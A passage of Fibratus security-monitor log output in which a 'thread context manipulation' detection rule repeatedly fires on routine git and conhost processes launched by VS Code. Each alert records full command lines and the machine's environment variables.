Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 193 + Pid: 8132 + Tid: 4104 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.3486444 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 40a570000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b626080, name➜ conhost.exe, pid➜ 9112, ppid➜ 8132, real_ppid➜ 8132, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.3486444 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8132 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 195 + Pid: 6904 + Tid: 6884 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.3556299 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 47e0d2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57237080, name➜ conhost.exe, pid➜ 1268, ppid➜ 6904, real_ppid➜ 6904, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.3556299 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6904 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 197 + Pid: 8132 + Tid: 4104 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.3872191 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 3ca8ae000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5aea3080, name➜ git.exe, pid➜ 17656, ppid➜ 8132, real_ppid➜ 8132, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.3872191 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 8132 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 199 + Pid: 6904 + Tid: 6884 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.3931849 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 3f54f5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b815080, name➜ git.exe, pid➜ 5264, ppid➜ 6904, real_ppid➜ 6904, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.3931849 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6904 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 201 + Pid: 17656 + Tid: 5724 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.4513387 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3f5578000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f588d0080, name➜ git.exe, pid➜ 5064, ppid➜ 17656, real_ppid➜ 17656, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.4513387 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17656 + Ppid: 8132 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:18+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 205 + Pid: 17656 + Tid: 5724 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:52:16.4917437 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3d94c5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59bf2080, name➜ git.exe, pid➜ 6924, ppid➜ 17656, real_ppid➜ 17656, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:52:16.4917437 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17656 + Ppid: 8132 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:52:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:52:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:52:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:53:27+01:00 level=info msg=bootstrapping with pid 8896. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:53:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ stack-enrichment=>true buffer-size=>512 enable-image=>true enable-audit-api=>true enable-handle=>false enable-thread=>true enable-fileio=>true enable-dns=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true flush-interval=>1s enable-mem=>false enable-net=>true max-buffers=>36 enable-threadpool=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true max-age=>0 formatter=>text max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false enabled=>false vhost=>/ delivery-mode=>transient passive=>false routing-key=>fibratus exchange=>fibratus exchange-type=>topic timeout=>5s] elasticsearch=>[ healthcheck=>true timeout=>5s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus gzip-compression=>false trace-log=>false sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1] http=>[ enabled=>false method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] skip-files=>false scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false enabled=>false fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:53:27+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:53:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:53:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:53:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 213 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.1415272 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 4089ae000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b2c6080, name➜ git.exe, pid➜ 8160, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.1415272 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 215 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.1513454 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 452725000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b451080, name➜ git.exe, pid➜ 16000, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.1513454 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS 